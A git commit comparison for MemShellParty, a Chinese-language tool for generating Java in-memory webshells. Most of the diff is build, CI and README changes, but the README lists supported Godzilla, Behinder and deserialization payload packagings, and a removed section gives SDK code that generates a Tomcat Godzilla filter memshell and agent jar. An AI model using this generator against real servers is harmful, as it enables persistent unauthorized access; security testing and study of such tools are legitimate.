Compare commits

..
2 Commits
Author SHA1 Message Date
ReaJason 8c9948c339 docs: update CHANGELOG 2025-02-26 20:31:23 +08:00
ReaJason 5cfda07fe8 test:
test: default shrink enabled
2025-02-26 20:31:10 +08:00
301 changed files with 2744 additions and 12166 deletions
@@ -21,15 +21,4 @@ if __name__ == '__main__':
if not result_lines: if not result_lines:
print("Specified version not found.", file=sys.stderr) print("Specified version not found.", file=sys.stderr)
sys.exit(1) sys.exit(1)
result_lines.append("## 更新方式\n")
result_lines.append("### Docker 部署\n")
result_lines.append("```bash\n")
result_lines.append("docker rm -f memshell-party\n\n")
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
result_lines.append("```\n")
result_lines.append("### Jar 包启动\n")
result_lines.append("> 仅支持 JDK17 及以上版本\n")
result_lines.append("```bash\n")
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
result_lines.append("```\n")
print("".join(result_lines).strip()) print("".join(result_lines).strip())
-118
View File
@@ -1,118 +0,0 @@
name: "Dev Deploy"
on:
push:
branches:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
bun-version: latest
- name: Build Web with Bun
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Download Boot Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push
uses: docker/build-push-action@v6
with:
context: boot
platforms: linux/amd64,linux/arm64
push: true
tags: docker.io/reajason/memshell-party:dev
deploy-maven:
name: Deploy to Maven Central
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
deploy-northflank:
name: Deploy to Northflank
needs: [ docker-push ]
runs-on: ubuntu-latest
env:
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
steps:
- name: Update Deployment
run: |
curl --header "Content-Type: application/json" \
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
--request POST \
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
+17 -26
View File
@@ -15,6 +15,9 @@ jobs:
changelog: ${{ steps.get_changelog.outputs.changelog }} changelog: ${{ steps.get_changelog.outputs.changelog }}
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Get Version - name: Get Version
id: get_version id: get_version
@@ -35,6 +38,7 @@ jobs:
build-jar: build-jar:
name: Build Jar name: Build Jar
runs-on: ubuntu-latest runs-on: ubuntu-latest
needs: [ info ]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
@@ -47,6 +51,11 @@ jobs:
- name: Setup Gradle - name: Setup Gradle
uses: gradle/actions/setup-gradle@v4 uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: '23'
- name: Setup Bun - name: Setup Bun
uses: oven-sh/setup-bun@v2 uses: oven-sh/setup-bun@v2
with: with:
@@ -57,13 +66,13 @@ jobs:
run: bun install --frozen-lockfile && bun run build run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle - name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
- name: Upload Boot Jar - name: Upload Boot Jar
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v4
with: with:
name: boot name: boot
path: boot/build/libs/*.jar path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
docker-push: docker-push:
name: Docker Push name: Docker Push
@@ -109,29 +118,6 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }} ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
create-release: create-release:
name: Create Release name: Create Release
needs: [ info, docker-push ] needs: [ info, docker-push ]
@@ -147,13 +133,18 @@ jobs:
name: boot name: boot
path: boot/build/libs path: boot/build/libs
- name: Calculate SHA-256
id: calculate_sha256
run: |
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
- name: Release - name: Release
uses: ncipollo/release-action@v1 uses: ncipollo/release-action@v1
with: with:
name: ${{ needs.info.outputs.version }} name: ${{ needs.info.outputs.version }}
tag: ${{ needs.info.outputs.version }} tag: ${{ needs.info.outputs.version }}
body: ${{ needs.info.outputs.changelog }} body: ${{ needs.info.outputs.changelog }}
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
deploy-northflank: deploy-northflank:
name: Deploy to Northflank name: Deploy to Northflank
-4
View File
@@ -29,10 +29,6 @@ replay_pid*
**/build/ **/build/
!src/**/build/ !src/**/build/
**/bin/
!**/src/main/**/bin/
!**/src/test/**/bin/
# Ignore Gradle GUI config # Ignore Gradle GUI config
gradle-app.setting gradle-app.setting
-50
View File
@@ -5,56 +5,6 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
### Added
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason#41
- 支持 CC3、CC4 反序列化 payload 打包方式
- 支持随机参数生成与默认选项(#50
### Changed
- 去除代码混淆相关代码
- 为了更好地在 MavenCentral 展示,重命名部分模块
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
- 移除 commons-codec 降低 boot 打包体积
- 升级 shadcn/ui 所有 component 代码
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成 by @ReaJason#49
- 支持命令回显 ASM Agent 内存马 by @ReaJason#51
- 支持简易的代码混淆 by @ReaJason#13
- 支持自动发布 DEV 分支代码 CD
### Changed
- 简化 Jetty 获取 Context 代码
- 优化 Dockerfile 减小镜像体积
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
### Added
- 支持 NeoreGeorg 内存马生成 by @ReaJason
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
### Changed
- 简化 Valve 内存马代码
- 升级 Gradle 8.13
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26 ## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
### Added ### Added
+8 -5
View File
@@ -35,9 +35,11 @@ WORKDIR /usr/src
COPY --from=source /usr/src /usr/src COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test RUN set -ex && \
cd web && bash copy-build.sh && \
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.14_7-jre-noble
@@ -45,10 +47,11 @@ LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
RUN groupadd -r spring && \ COPY --from=backend /usr/src/boot/build/libs/*.jar app.jar
useradd -r -g spring spring
COPY --from=backend --chown=spring:spring /usr/src/boot/build/libs/*.jar app.jar RUN groupadd -r spring && \
useradd -r -g spring spring && \
chown spring:spring /app/app.jar
USER spring:spring USER spring:spring
+98 -176
View File
@@ -17,9 +17,23 @@
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。 MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。 在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
MemShellParty 出现的原因有以下几个:
1. 工作中有时候客户会有个别中间件的内存马测试需求,这个时候临时写一个太慢又太烦,在不忙的时候做一个工具,有需求就生成一个多好(之前用
Java Memshell Generator 生成一个 WAS 的内存马不能用,调了半天修好了)。
2. 写 [Javassist](https://www.javassist.org/) 实在是太多了,字符串拼接的方式去弄方法 code
实在是看得眼睛疼,又不好维护,代码组织合理的话其实都可以,不过做项目我还是推荐 [Byte Buddy](https://bytebuddy.net/)
,高封装提供的 API 很好用的。单个利用脚本的话确实 [Javassist](https://www.javassist.org/) 来得快,而且很多中间件也自带依赖直接能打。
3. [Java Memshell Generator](https://github.com/pen4uin/java-memshell-generator)
的出现确实帮大忙了,但是其极少的交互逻辑对于一个应用来说是难以接受的,刚好学习了前端对 UX 也感兴趣(对 Desktop
应用无感),必须得整一个玩玩。
4. 因为对自动化测试特别感兴趣,刚好找到了 [Testcontainers](https://testcontainers.com/)
,并且看了一圈武器化工具基本都是无测试的,所以尝试写写可行的集成测试分享分享,被测试包裹的代码,修改起来信心也大,同时也希望这个项目能长久发展。
5. 特别多的师傅写了 Java 内存马相关的项目,不过都慢慢就不维护了(或者不公开代码了),我举手来整合一下,嘿嘿。
希望你能从这个项目学会或尝试做的: 希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马。 1. 学会编写常见中间件框架的内存马编写方式
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。 2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。 3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。 4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
@@ -32,9 +46,9 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
## 主要特性 ## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 - 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
- 最小化尽可能精简内存马大小,高效传输。 - 最小化: 尽可能精简内存马大小,高效传输。
- 强兼容性覆盖攻防场景下常见中间件和框架。 - 强兼容性: 覆盖攻防场景下常见中间件和框架。
## 快速使用 ## 快速使用
@@ -42,7 +56,8 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门 > 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
可直接访问 https://party.memshell.news,每次 Release 都会自动部署最新的镜像。 可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
### 本地部署(推荐) ### 本地部署(推荐)
@@ -71,175 +86,7 @@ docker rm -f memshell-party
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
``` ```
### SDK 集成到现有工具中 ### 本地构建
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
1. 添加依赖,Maven Or Gradle
```xml
<!-- Maven Repo-->
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>1.7.0</version>
</dependency>
```
```groovy
// Gradle Repo
implementation 'io.github.reajason:generator:1.7.0'
```
2. 生成 Tomcat Godzilla Filter 内存马示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:"+result.getInjectorClassName());
System.out.println("内存马类名:"+result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
```
3. 生成 Tomcat Godzilla AgentFilterChain 示例
```java
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
.debug(false) // 关闭调试
.build();
InjectorConfig injectorConfig = InjectorConfig.builder()
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
// .pass("pass")
// .key("key")
// .headerName("User-Agent")
// .headerValue("test")
.build();
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
System.out.println("注入器类名:" + result.getInjectorClassName());
System.out.println("内存马类名:" + result.getShellClassName());
System.out.println(result.getShellConfig());
System.out.println(result.getShellToolConfig());
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
Files.write(Paths.get("agent.jar"), agentJarBytes);
```
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [x] Neo-reGeorg
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## 本地构建
### 源代码构建
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用 > 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
@@ -299,7 +146,7 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
```bash ```bash
# 基础构建 # 基础构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \ --build-arg VERSION=1.3.1 \
-t memshell-party:latest . --load -t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080 # 基础镜像启动,访问 127.0.0.1:8080
@@ -307,7 +154,7 @@ docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建 # 自定义访问路径构建
docker buildx build \ docker buildx build \
--build-arg VERSION=1.6.0 \ --build-arg VERSION=1.3.1 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \ --build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \ --build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load -t memshell-party:latest . --load
@@ -339,6 +186,81 @@ location /memshell-party {
} }
``` ```
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 7 | InforSuite AS 9 ~ 10 | Apusic AS 9 |
|----------------------|----------------------|------------------------|---------------|
| Filter | Filter | Filter | Servlet |
| Listener | Listener | Listener | Filter |
| Valve | Valve | Valve | Listener |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
### 内存马功能
- [x] Godzilla 哥斯拉
- [x] Behinder 冰蝎
- [x] 命令执行
- [x] Suo5
- [x] AntSword 蚁剑
- [ ] Neo-reGeorg
- [ ] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
## How ## How
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**) 1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

After

Width:  |  Height:  |  Size: 60 KiB

-9
View File
@@ -1,9 +0,0 @@
FROM python:3.12-slim
WORKDIR /app
RUN pip install requests
COPY neoreg.py .
CMD ["tail", "-f", "/dev/null"]
File diff suppressed because it is too large Load Diff
Binary file not shown.

Before

Width:  |  Height:  |  Size: 242 KiB

After

Width:  |  Height:  |  Size: 131 KiB

@@ -2,14 +2,9 @@ plugins {
id 'java-platform' id 'java-platform'
} }
group = "io.github.reajason"
description = "This Bill of Materials POM can be used to ease dependency management when referencing multiple MemShellParty artifacts using Gradle or Maven."
version = rootProject.version
dependencies { dependencies {
constraints { constraints {
api 'net.bytebuddy:byte-buddy:1.17.5' api 'net.bytebuddy:byte-buddy:1.+'
api 'org.ow2.asm:asm-commons:9.7.1'
api 'javax.servlet:javax.servlet-api:3.0.1' api 'javax.servlet:javax.servlet-api:3.0.1'
api 'jakarta.servlet:jakarta.servlet-api:6.0.0' api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
@@ -19,22 +14,21 @@ dependencies {
api 'org.springframework:spring-webflux:5.3.24' api 'org.springframework:spring-webflux:5.3.24'
api 'io.projectreactor.netty:reactor-netty-core:1.1.25' api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
api 'commons-io:commons-io:2.18.0' api 'commons-io:commons-io:2.+'
api 'org.apache.commons:commons-lang3:3.17.0' api 'org.apache.commons:commons-lang3:3.+'
api 'commons-codec:commons-codec:1.18.0' api 'commons-codec:commons-codec:1.+'
api 'ch.qos.logback:logback-classic:1.5.18' api 'ch.qos.logback:logback-classic:1.+'
api 'xalan:xalan:2.7.0'
api 'org.apache.bcel:bcel:5.2' api 'org.apache.bcel:bcel:5.2'
api 'org.java-websocket:Java-WebSocket:1.5.7' api 'org.java-websocket:Java-WebSocket:1.5.7'
api 'com.squareup.okhttp3:okhttp:4.12.0' api 'com.squareup.okhttp3:okhttp:4.+'
api 'com.alibaba.fastjson2:fastjson2:2.0.53' api 'com.alibaba.fastjson2:fastjson2:2.0.53'
api 'com.fasterxml.jackson.core:jackson-databind:2.18.3'
api 'org.jetbrains:annotations:26.0.1' api 'org.jetbrains:annotations:26.0.1'
api 'org.mockito:mockito-core:5.15.2' api "org.mockito:mockito-core:5.15.2"
api 'org.mockito:mockito-junit-jupiter:5.15.2'
api 'org.hamcrest:hamcrest:3.0' api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.11.4' api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5' api 'org.testcontainers:testcontainers:1.20.5'
+4 -3
View File
@@ -4,10 +4,11 @@ LABEL authors="ReaJason<[email protected]>"
WORKDIR /app WORKDIR /app
RUN groupadd -r spring && \ COPY build/libs/*.jar app.jar
useradd -r -g spring spring
COPY --chown=spring:spring build/libs/*.jar app.jar RUN groupadd -r spring && \
useradd -r -g spring spring && \
chown spring:spring /app/app.jar
USER spring:spring USER spring:spring
-1
View File
@@ -48,7 +48,6 @@ dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') { implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat' exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
} }
implementation 'org.apache.commons:commons-lang3:3.+'
implementation 'org.springframework.boot:spring-boot-starter-undertow' implementation 'org.springframework.boot:spring-boot-starter-undertow'
compileOnly 'org.projectlombok:lombok' compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools' developmentOnly 'org.springframework.boot:spring-boot-devtools'
@@ -1,21 +0,0 @@
package com.reajason.javaweb.boot.config;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.client.SimpleClientHttpRequestFactory;
import org.springframework.web.client.RestTemplate;
/**
* @author ReaJason
*/
@Configuration
public class WebConfig {
@Bean
public RestTemplate restTemplate() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
factory.setConnectTimeout(3000);
factory.setReadTimeout(3000);
return new RestTemplate(factory);
}
}
@@ -1,14 +1,17 @@
package com.reajason.javaweb.boot.controller; package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.memshell.server.AbstractShell;
import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.server.AbstractShell; import com.reajason.javaweb.memshell.Packers;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin; import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.RestController;
import java.util.*; import java.util.*;
import java.util.stream.Collectors;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,36 +21,17 @@ import java.util.*;
@RequestMapping("/config") @RequestMapping("/config")
